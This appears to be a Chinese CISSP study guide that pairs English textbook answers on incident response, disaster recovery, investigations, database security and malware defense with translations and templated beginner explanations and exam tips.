第17章:预防和应对事件 1. 事件是指对组织资产的机密性、完整性或可用性产生负面影响的任何事件。 2. CISSP安全运营领域中列出的事件管理步骤包括检测、响应、缓解、 报告、恢复和补救 , 和经验教训。 3. 入侵检测系统可分为基于主机或基于网络、基于知识或基于行为、被动 或主动。 基于主机的IDS会详细检查单个计算机上的事件,包括文件活动、 访问和进程。 基于网络的IDS通过流量评估检查一般的网络事件和异常。 基 于知识的IDS使用已知攻击的数据库来检测入侵。 基于行为的IDS首先建立 正常活动的基线,然后将网络活动与基线进行对比以识别异常活动。 被动响 应会记录活动并通常提供通知。 主动响应则直接对入侵做出反应,以阻止或 拦截攻击。 4. SIEM系统在一个集中式应用程序中收集来自多个来源的日志条目。 它能 够接受不同设备的数据,并将所有数据关联和聚合为有用的信息。 它还可以 配置为实时向特定关注项发送警报。 5. 安全编排、自动化与响应(SOAR)指的是一组能够自动响应某些事件的 技术。 这减轻了管理员的工作负担。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

NIST:NIST 提供美国常用安全标准、框架和指南。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 181 / PDF P1575

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 18: Disaster Recovery Planning 1. Businesses have three main concerns when considering adopting a mutual assistance agreement. First, the nature of an MAA often necessitates that the businesses be located in close geographical proximity. However, this requirement also increases the risk that the two businesses will fall victim to the same threat. Second, MAAs are difficult to enforce in the middle of a crisis. If one of the organizations is affected by a disaster and the other isn't, the organization not affected could back out at the last minute, leaving the other organization out of luck.

Finally, confidentiality concerns (both legal and business related) often prevent businesses from trusting others with their sensitive operational data. 2. There are six main types of disaster recovery tests: Read-throughs involve the distribution of recovery checklists to disaster recovery personnel for review. Tabletops involve the members of the disaster recovery team gathering in a large conference room and role-playing a disaster scenario. Walk-through exercises include taking physical actions or at least considering their impact on the exercise. Simulation tests are more comprehensive and may impact one or more noncritical business units of the organization.

Parallel tests involve relocating personnel to the alternate site and commencing operations there. Full-interruption tests involve relocating personnel to the alternate site and shutting down operations at the primary site. 3. Full backups create a copy of all data stored on a server. Incremental backups create copies of all files modified since the last full or incremental backup. Differential backups create copies of all files modified since the last full backup without regard to any previous differential or incremental backups that may have taken place. 4. Cloud computing influences disaster recovery programs in two major ways.

First, the cloud provides excellent opportunities for disaster recovery operations, offering on-demand access to technology resources. Second, organizations using the cloud must ensure that they implement

中文直译 / 整理

第18章:灾难恢复规划 1. 企业在考虑采用互助协议时,主要关注三个问题。 首先,互助协议的性质 通常要求企业地理位置相近。 然而,这一要求也增加了两家企业同时遭遇相 同威胁的风险。 其次,在危机发生时,互助协议难以执行。 如果一家组织受 到灾难影响而另一家没有,未受影响的组织可能在最后一刻退出,使另一家 组织陷入困境。 最后,机密性问题(包括法律和业务相关)通常使企业不愿 将敏感的运营数据交给他人。 2. 灾难恢复测试主要有六种类型: 阅读演练涉及将恢复检查清单分发给灾难恢复人员进行审阅。 桌面演练涉及灾难恢复团队成员聚集在大型会议室中,模拟灾难 场景。 步行演练包括采取实际行动,或至少考虑其对演练的影响。 模拟测试更为全面,可能影响组织的一个或多个非关键业务单元。 并行测试涉及将人员转移到备用站点并在该处启动运营。 完全中断测试涉及将人员转移到备用站点,并关闭主站点的运营。 3. 完全备份会创建服务器上所有数据的副本。 增量备份会创建自上次完 全备份或增量备份以来所有已修改文件的副本。 差异备份会创建自上次 完全备份以来所有已修改文件的副本,而不考虑之前可能进行的任何差 异或增量备份。

4. 云计算以两种主要方式影响灾难恢复计划。 首先,云为灾难恢复操作提供 了绝佳的机会,可按需访问技术资源。 其次,使用云的组织必须确保实施

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 182 / PDF P1576

第 1576 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

disaster recovery capabilities within their cloud environment using controls offered by the cloud service provider, built internally, or offered by third parties.

中文直译 / 整理

在其云环境中,利用云服务提供商提供的控制措施、内部构建的控制措施 或第三方提供的控制措施实现灾难恢复能力。

小白解释

场景先行:你是公司的安全负责人,正在读第 1576 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1576 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 183 / PDF P1577

第 1577 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 19: Investigations and Ethics 1. The major categories of computer crime are military/intelligence attacks, business attacks, financial attacks, terrorist attacks, grudge attacks, thrill attacks, and hacktivist attacks. 2. Thrill attacks are motivated by individuals seeking to achieve the “high” associated with successfully breaking into a computer system. 3. Interviews are conducted with the intention of gathering information from individuals to assist with your investigation. Interrogations are conducted with the intent of gathering evidence from suspects to be used in a criminal prosecution. 4. To be admissible, evidence must be reliable, competent, and material to the case.

中文直译 / 整理

第19章:调查与伦理 1. 计算机犯罪的主要类别包括军事/情报攻击、商业攻击、金融攻击、恐怖主 义攻击、泄愤攻击、刺激攻击和黑客行动主义攻击。 2. 刺激攻击是由那些寻求获得成功入侵计算机系统后所带来“快感”的个人所 驱动的。 3. 访谈旨在从个人那里收集信息,以协助您的调查; 讯问则旨在从嫌疑人那 里收集证据,用于刑事起诉。 4. 为使证据具有可采性,必须具备可靠性、适当性并与案件相关。

小白解释

场景先行:你是公司的安全负责人,正在读第 1577 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

职业伦理:职业伦理要求安全人员保护公众、诚实负责、合法合规。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1577 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

ISC2 伦理题通常优先保护社会、公共利益和合法性。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
职业伦理 职业伦理要求安全人员保护公众、诚实负责、合法合规。
学习单元 184 / PDF P1578

第 1578 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 20: Software Development Security 1. The primary key uniquely identifies each row in the table. For example, an employee identification number might be the primary key for a table containing information about employees. 2. Polyinstantiation is a database security technique that appears to permit the insertion of multiple rows sharing the same uniquely identifying information. 3. Supervised and unsupervised machine learning techniques both use training datasets to develop models, but they differ in the nature and use of those training datasets.

In supervised techniques, the instances use labeled data that contains the correct answers that the model should learn how to apply to future instances. In unsupervised techniques, the data is not labeled and the algorithm is asked to identify those labels as part of the learning process.

中文直译 / 整理

第20章:软件开发安全 1. 主键唯一标识表中的每一行。 例如,员工编号可能是包含员工信息的表 的主键。 2. 多实例化是一种数据库安全技术,它看似允许插入多个共享相同唯一标识 信息的行。 3. 监督学习和非监督学习技术都使用训练数据集来构建模型,但它们在训练 数据集的性质和用途上有所不同。 在监督学习中,实例使用带有正确答案的 标注数据,模型应学习如何将这些答案应用于未来的实例。 在非监督学习中, 数据未被标注,算法需要在学习过程中自行识别这些标签。

小白解释

场景先行:你是公司的安全负责人,正在读第 1578 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1578 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
学习单元 185 / PDF P1579

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Chapter 21: Malicious Code and Application Attacks 1. Viruses and worms both travel from system to system attempting to deliver their malicious payloads to as many machines as possible. However, viruses require human intervention, such as sharing a file, network resource, or email message, to propagate. Worms, on the other hand, seek out vulnerabilities and spread from system to system under their own power, thereby greatly magnifying their reproductive capability, especially in a well-connected network. 2. If possible, antivirus software may try to disinfect an infected file, removing the virus’s malicious code.

If that fails, it might either quarantine the file for manual review or automatically delete it to prevent further infection. 3. Data integrity assurance packages like Tripwire compute hash values for each file stored on a protected system. If a file infector virus strikes the system, this would result in a change in the affected file’s hash value and would therefore trigger a file integrity alert. 4. Defending against SQL injection vulnerabilities requires a defense-indepth approach. It may include the use of whitelisting and/or blacklisting input validation, stored procedures/parameterized queries, web application security scans, web application firewalls, and other controls.

中文直译 / 整理

第21章:恶意代码与应用程序攻击 1. 病毒和蠕虫都会在系统之间传播,试图将恶意负载尽可能多地传递到更 多机器上。 然而,病毒需要人为干预,例如共享文件、网络资源或电子邮 件消息,才能传播。 而蠕虫则会主动寻找漏洞,并在无需人为干预的情况 下自行在系统间传播,从而极大地增强了其繁殖能力,尤其是在网络连接 良好的环境中。 2. 如果可能,杀毒软件会尝试清理被感染的文件,移除病毒的恶意代 码。 如果失败,它可能会将文件隔离以供人工审查,或自动删除文件 以防止进一步感染。 3. 数据完整性保障工具(如Tripwire)会为受保护系统上存储的每个文件计 算哈希值。 如果文件感染型病毒攻击系统,会导致受影响文件的哈希值发生 变化,从而触发文件完整性警报。 4. 防御SQL注入漏洞需要采用纵深防御策略。 这可能包括使用白名单和/或黑 名单输入验证、存储过程/参数化查询、Web应用安全扫描、Web应用防火墙 以及其他控制措施。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

纵深防御:纵深防御不是一道门,而是一层又一层控制。

程序:程序是一步一步怎么做。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

多层控制串联、避免单点失败,就是 defense in depth。

Step-by-step、SOP 常对应 procedure。

哈希本身不提供机密性;它主要用于完整性校验。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
纵深防御 纵深防御不是一道门,而是一层又一层控制。
程序 程序是一步一步怎么做。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
防火墙 防火墙根据规则控制网络流量进出。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。